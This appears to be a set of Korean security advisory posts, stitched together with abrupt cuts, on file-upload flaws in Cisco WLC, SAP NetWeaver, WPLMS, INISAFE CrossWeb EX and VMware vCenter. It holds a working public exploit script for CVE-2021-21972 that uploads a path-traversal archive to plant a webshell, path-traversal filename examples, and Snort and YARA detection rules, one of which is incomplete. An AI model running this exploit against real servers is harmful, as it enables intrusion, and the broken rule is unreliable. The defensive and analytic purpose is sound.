- Cisco 무선 LAN 컨트롤러의 Out-of-Band AP 이미지 다운로드 기능에서 발견된 파일 업로드 취약점 (CVSS: 10.0)
> 영향받는 시스템에 JSON Web Token(JWT)이 하드 코딩되어 있어 이를 악용해 임의 파일을 업로드하여 추가 악성 행위를 수행할 수 있음
- JSON Web Token(JWT) [3][4][5]
> JSON 객체에 인증에 필요한 정보들을 담은 후 비밀키로 서명한 토큰으로, 인터넷 표준 인증 방식
- Out-of-Band AP 이미지 다운로드 기능 [6]
> 새로운 AP가 컨트롤러에 연결될 때, 해당 AP 운영에 필요한 이미지를 CAPWAP 프로토콜을 사용해 전송
> 네트워크 제약 등 다양한 제약 사항으로 인해 CAPWAP가 아닌 HTTPS를 사용해 이미지를 다운로드할 수 있도록 하는 기능
> 기본적으로 비활성화되어 있음
※ CAPWAP (Control and Provisioning of Wireless Access Points) : 무선 액세스 포인트(AP)와 무선 LAN 컨트롤러(WLC) 간 통신을 위해 사용되는 프로토콜
영향받는 버전 - 클라우드용 Catalyst 9800-CL 무선 컨트롤러 - Catalyst 9300, 9400 및 9500 시리즈 스위치용 Catalyst 9800 임베디드 무선 컨트롤러 - Catalyst 9800 시리즈 무선 컨트롤러 - Catalyst AP에 내장된 무선 컨트롤러 ※ Out-of-Band AP 이미지 다운로드 기능이 Default로 비활성화이므로 해당 기능을 사용 중인 경우만 취약점에 영향받음
3. 대응방안
- 벤더사 제공 업데이트 적용 [7]
> 즉각적인 업데이트가 불가할 경우 Out-of-Band AP 이미지 다운로드 기능 비활성화
[Out-of-Band AP 이미지 다운로드 기능 활성화 여부 확인 방법] > "show running-config | include ap upgrade" 명령의 결과가 아래처럼 나올 경우 해당 기능 활성화
wlc# show running-config | include ap upgrade ap upgrade method https wlc#
- SAP NetWeaver : SAP의 애플리케이션 통합 및 실행 플랫폼으로, 다양한 SAP 모듈과 시스템 간 연결을 지원 [1] - SAP NetWeaver Visual Composer : NetWeaver 상에서 동작하는 시각적 UI 개발 도구로, 코드 없이 SAP 비즈니스 앱의 화면을 설계할 수 있음 [2]
2. CVE-2025-31324
[사진 1] CVE-2025-31324 [3]
- Metadata Uploader 컴포넌트에서 접근 제어가 제대로 이루어지지 않아 임의의 파일 업로드가 가능한 취약점 (CVSS: 10.0)
> /developmentserver/metadatauploader 엔드포인트에서 접근 제어가 제대로 이루어지지 않아, 공격자가 인증 없이 JSP 웹셸 파일을 서버에 업로드 가능
> SAP Visual Composer는 기본 설치 항목은 아니지만, 다수의 시스템에서 활성화되어 있음
> 공격자가 JSP 웹쉘을 서버의 퍼블릭 디렉터리에 업로드해 인증 없이 원격 제어하는 등 활발히 악용 중이므로, 긴급 패치 권고
-영향받는 버전 SAP NetWeaver VCFRAMEWORK 7.50
[사진 2] 실제 공격에 악용된 HTTP POST 요청 [4]
2.1 취약점 스캐너
- 보안 기업 Onapsis는 취약점을 확인할 수 있는 스캐너를 제공 [5]
> GitHub에서 스캐너의 최신 버전을 확인한 후 지정한 SAP 서버의 취약점 여부 확인
① 대상 SAP 서버의 /developmentserver/metadatauploader URL로 HEAD 요청 전송
⒜ 200 응답과 Set-Cookie 헤더가 없는 경우 취약
⒝ 404 응답 또는 다른 응답의 경우 취약하지 않음
② 사전 정의된 웹쉘 목록(KNOWN_WEBSHELLS)과 경로(/irj)를 대상으로 업로드된 웹쉘 확인
⒜ 200 응답일 경우 웹쉘 존재
※ 사전 정의된 웹쉘 목록과 특정 경로만을 대상으로 스캔을 수행하므로 정의되지 않은 웹쉘명과 경로에대한 검증은 불가
import requests
import argparse
import json
from packaging.version import parse as parse_version
__version__ = "1.0.2"
KNOWN_WEBSHELLS = ["cache.jsp", "helper.jsp"]
GITHUB_REPO = (
"Onapsis/Onapsis_CVE-2025-31324_Scanner_Tools"
)
def check_cve_2025_31324(hostname, port, use_ssl):
protocol = "https" if use_ssl else "http"
url = f"{protocol}://{hostname}:{port}/developmentserver/metadatauploader"
try:
response = requests.head(url, timeout=10, verify=False)
status_code = response.status_code
if status_code == 200 and 'Set-Cookie' not in response.headers:
print(
f"[CRITICAL] SAP System at {url} appears to be vulnerable to "
"CVE-2025-31324."
)
elif status_code == 404:
print(
f"[INFO] Visual Composer SAP System at {url} appears to not "
"be installed or unavailable."
)
else:
print(
f"[INFO] The SAP system at {url} does not appear to be "
"vulnerable to CVE-2025-31324."
)
except requests.exceptions.RequestException as e:
print(f"Error connecting to {url} for vulnerability testing: {e}")
def test_webshell(hostname, port, use_ssl):
webshell_found = False
for webshell_filename in KNOWN_WEBSHELLS:
protocol = "https" if use_ssl else "http"
url = f"{protocol}://{hostname}:{port}/irj/{webshell_filename}"
try:
response = requests.get(url, timeout=10, verify=False)
if response.status_code == 200:
print(f"[CRITICAL] Known webshell found at: {url}")
webshell_found = True
except requests.exceptions.RequestException as e:
print(
f"[ERROR] Error connecting to {url} for webshell testing: {e}"
)
if not webshell_found:
print("[INFO] No known webshells found.")
def check_for_updates():
try:
url = f"https://api.github.com/repos/{GITHUB_REPO}/releases/latest"
response = requests.get(url)
response.raise_for_status()
release_info = response.json()
latest_version = release_info.get("tag_name")
if latest_version:
latest_version = latest_version.lstrip("v")
current_version = parse_version(__version__)
latest_parsed_version = parse_version(latest_version)
if latest_parsed_version > current_version:
print(f"[WARNING] There is a newer version, {latest_version}.")
print(f"You are currently using version {__version__}.")
else:
print("Could not retrieve the latest release information.")
except requests.exceptions.RequestException as e:
print(f"Error checking for updates: {e}")
except json.JSONDecodeError:
print("Error decoding release information.")
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description=(
"Onapsis Scanner for Vulnerability CVE-2025-31324 (SAP Security "
"3594142) - CVSS 10 (Critical). This tool checks for the presence "
"of the vulnerability and known webshells in the SAP system. \n\n"
"DISCLAIMER: This tool is provided from Onapsis via open source "
"license Apache 2.0, as a contribution to the security, incident "
"response, and SAP communities to aid in response to active "
"exploitation of CVE-2025-31324. This tool is under development "
"and will continue to iterate rapidly as more information becomes "
"available either from Onapsis Research Labs or publicly. "
"This is a best-effort development and offered as-is with no "
"warranty or liability."
)
)
parser.add_argument(
"hostname",
help=(
"Hostname or IP address of the SAP system."
)
)
parser.add_argument(
"port",
type=int,
help="Port number of the SAP system (i.e. 50000)."
)
parser.add_argument(
"--ssl",
action="store_true",
help="Use SSL/TLS for the connection."
)
args = parser.parse_args()
check_for_updates()
check_cve_2025_31324(args.hostname, args.port, args.ssl)
test_webshell(args.hostname, args.port, args.ssl)
3. 대응방안
- 벤더사 제공 업데이트 적용 [6][7][8]
제품명
영향받는 버전
해결 버전
SAP NetWeaver
VCFRAMEWORK 7.50
별도 보안 패치 제공 [6][7][8]
- 침해 여부 확인 방법 [9]
> 다음 OS 디렉토리의 루트에 'jsp', 'java', 'class' 파일 존재 여부 확인
① C:\usr\sap\<SID>\<InstanceID>\j2ee\cluster\apps\sap.com\irj\servlet_jsp\irj\root ② C:\usr\sap\<SID>\<InstanceID>\j2ee\cluster\apps\sap.com\irj\servlet_jsp\irj\work ③ C:\usr\sap\<SID>\<InstanceID>\j2ee\cluster\apps\sap.com\irj\servlet_jsp\irj\work\sync
[YARA] rule detect_CVE202531324_webshells_by_name { meta: description = “Detects the known webshell file names that are uploaded in the root directory” author = “Emanuela Ionas, Onapsis Research Labs” date = “2025-04-30” tags = “CVE-2025-31324” strings: $path_1 = “/irj/root/” $path_2 = “/irj/”
$status = “HTTP/[1,2]\.[0,1,2] 200” condition: ($webshell_1 or $webshell_2 or $webshell_4) and ($path_1 or $path_2) and $status }
[SNORT] alert tcp any any -> any any (msg:"CVE-2025-31324";flow:to_server,established;content:"POST";content:"/developmentserver/metadatauploader";content:"multipart/form-data";content:"filename="; content:".jsp";nocase;)
※ Learning Management System : 학습 관리 시스템, 온라인으로 학생들의 학습을 관리할 수 있게 해주는 소프트웨어
2. 취약점
2.1 CVE-2024-56046 [2][3]
[사진 1] CVE-2024-56046
- WPLMS에서 발생하는 파일 업로드 취약점 (CVSS: 10.0)
영향받는 버전 : WPLMS <= 1.9.9
- includes/vibe-shortcodes/shortcodes.php의 wplms_form_uploader_plupload()에 취약점 존재 > Line9 : $_REQUEST["name"] 값을 우선적으로 $fileName에 할당하며, 해당 값이 없을 경우 $_FILES["file"]["name"] 값을 사용 > Line17 : $fileName은 파일 저장 경로를 결정하는데 사용됨
- name 파라미터는 사용자 요청으로부터 추출 (Line9) > 해당 값에 대한 검증 없이 사용하여 악의적인 파일(Ex. "../../../attack.php")을 사용해 파일을 업로드할 수 있음
- $fileName을 기반으로 서버의 특정 경로에 저장 > 해당 값에 대한 검증이 없어 임의 디렉터리에 악의적인 파일을 업로드할 수 있음
- includes/vibe-shortcodes/upload_handler.php의 wp_ajax_zip_upload()에 취약점 존재 > Line4 ~ Line8 : 사용자 요청에서 값을 추출해 변수 할당 > Line18 ~ Line19 : Zip 파일 내 다른 파일이 있는 경우 extractZip()을 통해 파일 내 모든 내용을 추출 > 사용자 요청에서 추출한 값을 검증없이 사용하여 취약점 발생
- extractZip() > Line6 : extractTo()를 사용해 Zip 파일내 모든 파일을 $target 디렉터리에 추출 > 파일에 대한 검증없이 추출되어 취약점 발생 > attack.php 등의 악의적 파일을 포함한 Zip 파일을 업로드할 수 있는 문제 발생
- includes/assignments/assignments.php의 wplms_assignment_plupload()에 취약점 존재 > Line2 ~ Line4 : WordPress 내에서 생성된 요청인지와 로그인 유무를 검증 > Line18 : $user_id 및 $assignment_id를 기반으로 $folderPath 생성
- $assignment_id에 대한 유효성 검증이 없어 임의 디렉터리에 악의적인 파일을 업로드할 수 있음
- 작년말 북한이 해당 S/W의 취약점을 악용해 PC 해킹 및 악성코드 유포 등 해킹한 사실이 국정원·경찰청·KISA 등 유관기관에 의해 적발
- 국가·공공기관 및 방산·바이오업체 등 국내외 주요기관 60여곳의 PC 210여대를 해킹한 사실을 확인
- 해킹에 악용된 S/W는 국내외 1,000만대 이상의 기관·업체·개인 PC에 설치되어 있는 것으로 추정
- 대규모 피해 확산 방지를 위해 관계기관과 합동으로 관련 사실을 공지
영향받는 버전 - INISAFE CrossWeb EX V3 3.3.2.40 이하 버전
2.1 취약점 상세
- 해당 취약점은 INITECH사 프로세스(inisafecrosswebexsvc.exe)에 의해 악성 행위가 발생되는 것으로 확인됨
피해 시스템의 inisafecrosswebexsvc.exe 특징
- INITECH사의 보안 프로그램인 INISAFE CrossWeb EX V3의 실행 파일 - 정상 파일과 같은 해시값을 가짐 (MD5:4541efd1c54b53a3d11532cb885b2202) - INITECH사에 의해 정상 서명된 파일 - INISAFE Web EX Client로 침해 시점 이전부터 시스템에 설치되어 있었으며, 변조의 흔적 또한 발견되지 않음 - 시스템 부팅 시 iniclientsvc_x64.exe에 의해 실행되는데, 침해 당일에도 같은 방식으로 실행
- 악성코드인 SCSKAppLink.dll이 inisafecrosswebexsvc.exe 프로세스에 인젝션되어 동작
※ DLL 인젝션: 다른 프로세스의 주소 공간 내에서 DLL을 강제로 로드시킴으로써 코드를 실행시키는 기술
- SCSKAppLink.dll에는 호스트 프로세스에 따라 분기하는 코드가 포함
[사진 1] 분기 코드
- 분기 코드는 inisafecrosswebexsvc.exe 프로세스에 인젝션되어 동작하는 경우 특정 C2에 접속하여 추가 악성코드를 다운 및 실행
※ svchost.exe, rundll32.exe, notepad.exe에 인젝션 여부를 판단하도록 돼있으나, 해당 분기문에는 실행 코드가 포함되지 않음
[사진 2] 호스트가 inisafecrosswebexsvc.exe인 경우 접속하는 C2 주소
- C2에 접속하여 임시폴더에 악성코드 main_top[1].htm 다운로드 후 특정 경로에 복사
> 다운로드 경로 : c:\users\<사용자>\appdata\local\microsoft\windows\inetcache\ie\zlvrxmk3\main_top[1].htm
> 복사된 경로 : C:\Users\Public\SCSKAppLink.dll
[사진 3] 동작 과정
3. 대응방안
① 서비스 운영자: 이니텍를 통해 최신버전 교체_INISAFE CrossWeb EX V3 3.3.2.41
② 제품 사용자: 취약한 버전이 설치되어 있는 경우 제거 후 최신버전 업데이트를 진행
> [제어판]-[프로그램]-[프로그램 및 기능]에서 INISAFE CrossWeb EX V3 버전 확인 후 제거 클릭
> 아래 링크를 참고하여, 운영체제에 맞는 최신 버전의 INISAFE CrossWeb EX V3를 설치
- vSphere Client(HTML5)에는 vCenter Server의 업로드 관련 플러그인(uploadova)의 파일 업로드 취약점
※파일 업로드 후 원격 명령 실행으로 이어질 수 있음
영향받는 버전 - VMware vCenter Server 7.0 U1c 이전 7.x 버전 - VMware vCenter Server 6.7 U3I 이전 6.7 버전 - VMware vCenter Server 6.5 U3n 이전 6.5 버전 - VMware Cloud Foundation (vCenter 서버) 4.2 이전 4.x 버전 - VMware Cloud Foundation (vCenter 서버) 3.10.1.2 이전 3.x 버전
[사진 2] 쇼단 검색 화면 (http.title:"ID_VC_Welcome")
2. 분석
2.1 원인
- 공개된 PoC 확인 시 업로드 관련 플러그인(uploadova)을 이용해 악성 파일 업로드 후 원격 명령 입력을 시도
- uploadova 엔드포인트의 경로인 /ui/vropspluginui/rest/services/* 는 인증 없이 접근이 가능
[사진 3] uploadova 플러그인 코드의 취약한 부분
- [사진 3]의 코드는 다음과 같은 문제를 유발시킴
① uploadova 플로그인은 tar 압축 파일만 업로드 가능한 플러그인 > 압축 파일 확장자(.tar) 이름을 필터링되지 않음
② 아카이브 파일을 받아 /tmp/unicorn_ova_dir 경로에 해당 아카이브 파일을 열어 파일을 생성 > 생성되는 아카이브 내부의 파일 이름에 대한 검증이 없음
∴ 악성 파일을(ex. webshell) 업로드 후 원격 명령어 입력이 가능
[자신 4] PoC 화면
2.2 PoC
- 공개된 PoC를 확인 시 다음을 알 수 있음
① POST 메소드 사용
② /ui/vropspluginui/rest/services/uploadova URL 요청
③ .tar 확장자 파일을 업로드 시도
※ 대상 서버가 Windows인 경우
- .jsp 형식의 웹 쉘 등 악의적인 파일을
- C:\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\ 에 업로드 (인증 없이 접근 가능)
- 파일에 접근 및 원격 코드 실행
#!/usr/bin/python3
import argparse
import requests
import tarfile
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
ENDPOINT = '/ui/vropspluginui/rest/services/uploadova'
def check(ip):
r = requests.get('https://' + ip + ENDPOINT, verify=False, timeout=30)
if r.status_code == 405:
print('[+] ' + ip + ' vulnerable to CVE-2021-21972!')
return True
else:
print('[-] ' + ip + ' not vulnerable to CVE-2021-21972. Response code: ' + str(r.status_code) + '.')
return False
def make_traversal_path(path, level=5, os="unix"):
if os == "win":
traversal = ".." + "\\"
fullpath = traversal*level + path
return fullpath.replace('/', '\\').replace('\\\\', '\\')
else:
traversal = ".." + "/"
fullpath = traversal*level + path
return fullpath.replace('\\', '/').replace('//', '/')
def archive(file, path, os):
tarf = tarfile.open('exploit.tar', 'w')
fullpath = make_traversal_path(path, level=5, os=os)
print('[+] Adding ' + file + ' as ' + fullpath + ' to archive')
tarf.add(file, fullpath)
tarf.close()
print('[+] Wrote ' + file + ' to exploit.tar on local filesystem')
def post(ip):
r = requests.post('https://' + ip + ENDPOINT, files={'uploadFile':open('exploit.tar', 'rb')}, verify=False, timeout=30)
if r.status_code == 200 and r.text == 'SUCCESS':
print('[+] File uploaded successfully')
else:
print('[-] File failed to upload the archive. The service may not have permissions for the specified path')
print('[-] Status Code: ' + str(r.status_code) + ', Response:\n' + r.text)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
parser.add_argument('-f', '--file', help='The file to tar')
parser.add_argument('-p', '--path', help='The path to extract the file to on target')
parser.add_argument('-o', '--operating-system', help='The operating system of the VCSA server')
args = parser.parse_args()
vulnerable = check(args.target)
if vulnerable and (args.file and args.path and args.operating_system):
archive(args.file, args.path, args.operating_system)
post(args.target)
3. 대응방안
3.1 서버측면
① 최신 버전의 업데이트 적용
- VMware vCenter Server 7.0 U1c - VMware vCenter Server 6.7 U3I - VMware vCenter Server 6.5 U3n - VMware Cloud Foundation (vCenter 서버) 4.2 - VMware Cloud Foundation (vCenter 서버) 3.10.1.2
3.2 네트워크 측면
① 보안장비에 취약점을 이용한 공격 시도를 탐지할 수 있는 정책 적용
alert tcp any any -> any any (msg:"VMware vCenter Server Uploadova (CVE-2021-21972)"; flow:established,from_client; content:"POST"; depth:4; content:"ui/vropspluginui/rest/services/uploadova"; distance:1;)